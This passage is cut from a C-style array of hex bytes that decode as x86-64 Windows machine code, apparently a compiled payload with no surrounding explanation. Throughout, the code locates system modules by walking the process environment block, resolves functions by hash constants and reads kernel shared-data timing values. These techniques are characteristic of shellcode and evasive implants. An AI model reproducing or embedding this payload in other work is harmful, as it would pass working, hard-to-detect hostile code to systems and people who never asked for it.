00,0x20,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0x45,0x08,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0x45,0x18,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0x45,0x10,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0x45,0x20,0x48,0x8B,0x85,0x08,0x06,0x00,0x00,0x48,0x89,0x45,0x28,0x48,0x8B,0x85,0x10,0x06,0x00,0x00,0x48,0x89,0x45,0x30,0x8B,0x85,0x54,0x05,0x00,0x00,0x89,0x45,0x04,0x48,0x8B,0x05,0xF3,0x4D,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x78,0x05,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xEC,0x4D,0x01,0x00,0xFF,0xD0,0x48,0x89,0x85,0x60,0x0C,0x00,0x00,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x0F,0x84,0x26,0x01,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x66,0xC7,0x40,0x02,0x78,0x05,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x66,0xC7,0x00,0x50,0x05,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x8D,0x95,0x50,0x05,0x00,0x00,0x41,0xB8,0xF8,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x90,0xAB,0x00,0x00,0x48,0x8B,0x95,0x60,0x0C,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC1,0xE8,0x72,0xF7,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0xCE,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x2C,0x85,0xC0,0x0F,0x88,0xBF,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x28,0x3D,0x02,0x00,0x00,0x20,0x0F,0x85,0xAD,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x30,0x89,0xC0,0x48,0x89,0x85,0x50,0x0C,0x00,0x00,0x48,0x83,0xBD,0x50,0x0C,0x00,0x00,0x00,0x0F,0x84,0x8F,0x00,0x00,0x00,0x48,0x8B,0x85,0x50,0x0C,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x35,0x66,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x81,0xBD,0x58,0x0C,0x00,0x00,0x02,0x01,0x00,0x00,0x74,0x2B,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x78,0x22,0x81,0xBD,0x58,0x0C,0x00,0x00,0xC0,0x00,0x00,0x00,0x74,0xBF,0x81,0xBD,0x58,0x0C,0x00,0x00,0x01,0x01,0x00,0x00,0x74,0xB3,0xC7,0x85,0x58,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xE8,0x18,0x07,0x00,0x00,0x89,0x85,0x5C,0x0C,0x00,0x00,0xC7,0x85,0x6C,0x0C,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2D,0x61,0x00,0x00,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x1C,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x39,0x72,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x60,0x00,0x00,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCF,0x60,0x00,0x00,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0x60,0x00,0x00,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x85,0xC0,0x74,0x1E,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE3,0xF1,0xFF,0xFF,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x60,0x00,0x00,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x74,0x53,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x74,0x49,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x41,0xB8,0x78,0x05,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAE,0xA9,0x00,0x00,0x48,0x8B,0x05,0x9F,0x4B,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x60,0x0C,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9C,0x4B,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x60,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x6C,0x0C,0x00,0x00,0x48,0x81,0xC4,0xF8,0x0C,0x00,0x00,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xB9,0xFF,0xFF,0xFF,0xFF,0x48,0x8B,0x05,0x09,0x4B,0x01,0x00,0xFF,0xD0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x28,0x48,0x89,0x45,0xE8,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0x48,0x8B,0x05,0xAE,0x4B,0x01,0x00,0xFF,0xD0,0x83,0xC0,0x02,0x89,0x45,0xFC,0x8B,0x5D,0xFC,0x48,0x8B,0x05,0xFC,0x4A,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF8,0x4A,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x4C,0x8B,0x45,0xE8,0x8B,0x55,0xFC,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x45,0xF0,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD8,0xB8,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xDA,0xA8,0x00,0x00,0x89,0xC3,0xB9,0xF5,0xFF,0xFF,0xFF,0x48,0x8B,0x05,0xA4,0x4A,0x01,0x00,0xFF,0xD0,0x48,0x89,0xC1,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0x89,0xD8,0x48,0x89,0xC2,0x48,0x8B,0x05,0xD7,0x4A,0x01,0x00,0xFF,0xD0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5F,0xA8,0x00,0x00,0x48,0x8B,0x05,0x50,0x4A,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x50,0x4A,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0xE8,0xB2,0x5D,0x00,0x00,0x48,0x89,0x45,0xF0,0xC7,0x45,0xD4,0x60,0x00,0x00,0x00,0x8B,0x45,0xD4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0xEB,0x59,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x39,0xD0,0x72,0x36,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x40,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0xF0,0x48,0x39,0xC2,0x73,0x19,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x60,0x48,0x8B,0x45,0x10,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x1E,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xD8,0x75,0x9D,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x70,0xFF,0xFF,0xFF,0x0F,0x11,0x45,0x80,0x0F,0x11,0x45,0x90,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x40,0xFF,0xFF,0xFF,0x0F,0x11,0x85,0x50,0xFF,0xFF,0xFF,0x66,0x0F,0xD6,0x85,0x60,0xFF,0xFF,0xFF,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xD3,0xC9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0x20,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x20,0x0E,0xAE,0x06,0x48,0x89,0xC1,0xE8,0x5E,0x1E,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x48,0x02,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x9D,0xC9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1A,0x20,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0x21,0x88,0x03,0x48,0x89,0xC1,0xE8,0x28,0x1E,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x15,0x02,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x67,0xC9,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE4,0x1F,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x56,0x43,0xDD,0x7B,0x48,0x89,0xC1,0xE8,0xF2,0x1D,0x00,0x00,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0xE2,0x01,0x00,0x00,0x48,0x8D,0x45,0xC0,0x48,0x89,0xC1,0xE8,0x21,0xFE,0xFF,0xFF,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0xCC,0x01,0x00,0x00,0x48,0x8B,0x05,0x2D,0x48,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x26,0x48,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xA0,0x01,0x00,0x00,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x8D,0x15,0xFE,0xC8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x54,0xA6,0x00,0x00,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x36,0xA6,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0xA8,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4D,0xA2,0x00,0x00,0x66,0x89,0x45,0xA0,0x0F,0xB7,0x45,0xA0,0x01,0xC0,0x66,0x89,0x45,0xA0,0x0F,0xB7,0x45,0xA0,0x83,0xC0,0x02,0x66,0x89,0x45,0xA2,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0x88,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0x45,0x80,0x48,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8D,0x45,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x04,0x00,0x48,0x89,0xC1,0xE8,0x97,0x63,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x88,0xE6,0x00,0x00,0x00,0x48,0x8D,0x85,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x45,0xD8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0xC6,0x00,0x00,0x00,0x48,0x8D,0x85,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x55,0xD0,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0x9A,0x00,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x8D,0x95,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x4D,0xE0,0x49,0x89,0xD0,0xBA,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD1,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x74,0x77,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x7A,0x5B,0x00,0x00,0x89,0x45,0xEC,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x78,0x5D,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8D,0x45,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x01,0x00,0x48,0x89,0xC1,0xE8,0xDA,0x62,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x3C,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0xD8,0x64,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x2A,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xB8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0xF0,0x5A,0x00,0x00,0x48,0x83,0x7D,0xF0,0x00,0x74,0x54,0x48,0x83,0x7D,0xF0,0x00,0x74,0x4D,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x78,0xA4,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x10,0xA4,0x00,0x00,0x48,0x8B,0x05,0x01,0x46,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x01,0x46,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x46,0x46,0x01,0x00,0xFF,0xD0,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x2C,0x01,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x5D,0xF8,0x48,0x8B,0x05,0x7C,0x45,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x78,0x45,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x53,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x41,0x89,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x77,0xC6,0x00,0x00,0x48,0x89,0xC1,0xE8,0x93,0x00,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x31,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x78,0xC6,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC0,0xF9,0xFF,0xFF,0x48,0x8D,0x05,0x88,0xC6,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB1,0xF9,0xFF,0xFF,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE7,0xA2,0x00,0x00,0x48,0x8B,0x05,0xD8,0x44,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD8,0x44,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xEF,0xC5,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x1B,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x0B,0x60,0x9C,0x2F,0x48,0x89,0xC1,0xE8,0xF8,0x19,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x2A,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x4D,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD1,0x89,0x45,0x20,0x83,0x7D,0x20,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xF0,0x60,0x00,0x00,0x00,0x8B,0x45,0xF0,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x05,0x76,0x1B,0xB8,0x20,0x03,0xFE,0x7F,0x48,0x8B,0x00,0xBA,0x04,0x00,0xFE,0x7F,0x8B,0x12,0x89,0xD2,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x18,0xEB,0x1A,0xB8,0x00,0x00,0xFE,0x7F,0x8B,0x00,0x89,0xC2,0xB8,0x04,0x00,0xFE,0x7F,0x8B,0x00,0x89,0xC0,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x18,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x57,0x53,0x48,0x81,0xEC,0x60,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x02,0x00,0x00,0x48,0x89,0x95,0x08,0x02,0x00,0x00,0xC7,0x85,0xDC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x85,0xD0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0xBD,0x00,0x02,0x00,0x00,0x00,0x0F,0x84,0x79,0x02,0x00,0x00,0x48,0x8B,0x95,0x00,0x02,0x00,0x00,0x48,0x8D,0x45,0xB0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF7,0xA0,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x95,0xC8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE0,0x56,0x00,0x00,0x89,0x85,0xD8,0x01,0x00,0x00,0x81,0xBD,0xD8,0x01,0x00,0x00,0x1A,0x00,0x00,0x80,0x75,0x2D,0x48,0x8B,0x85,0x00,0x02,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x48,0xC4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0xF7,0xFF,0xFF,0x48,0x8D,0x05,0x18,0xC4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x41,0xF7,0xFF,0xFF,0xE9,0xFC,0x01,0x00,0x00,0x83,0xBD,0xD8,0x01,0x00,0x00,0x00,0x0F,0x88,0xEB,0x01,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x8D,0xBC,0x01,0x00,0x00,0x48,0x8D,0x95,0xC0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x91,0x10,0x00,0x00,0x89,0x85,0xDC,0x01,0x00,0x00,0x83,0xBD,0xDC,0x01,0x00,0x00,0x00,0x0F,0x84,0x9D,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x63,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x84,0x01,0x00,0x00,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x26,0xA0,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x10,0x42,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x14,0x42,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x31,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x42,0xA0,0x00,0x00,0x48,0x83,0xC0,0x02,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x85,0xD0,0x01,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x62,0x42,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x86,0x00,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x85,0x9F,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x6F,0x41,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x73,0x41,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6E,0x10,0x00,0x00,0x48,0x8B,0x95,0x08,0x02,0x00,0x00,0x89,0x02,0x90,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x83,0x00,0x00,0x00,0xEB,0x6F,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x0B,0xFE,0xFF,0xFF,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0x9E,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0xE5,0x40,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE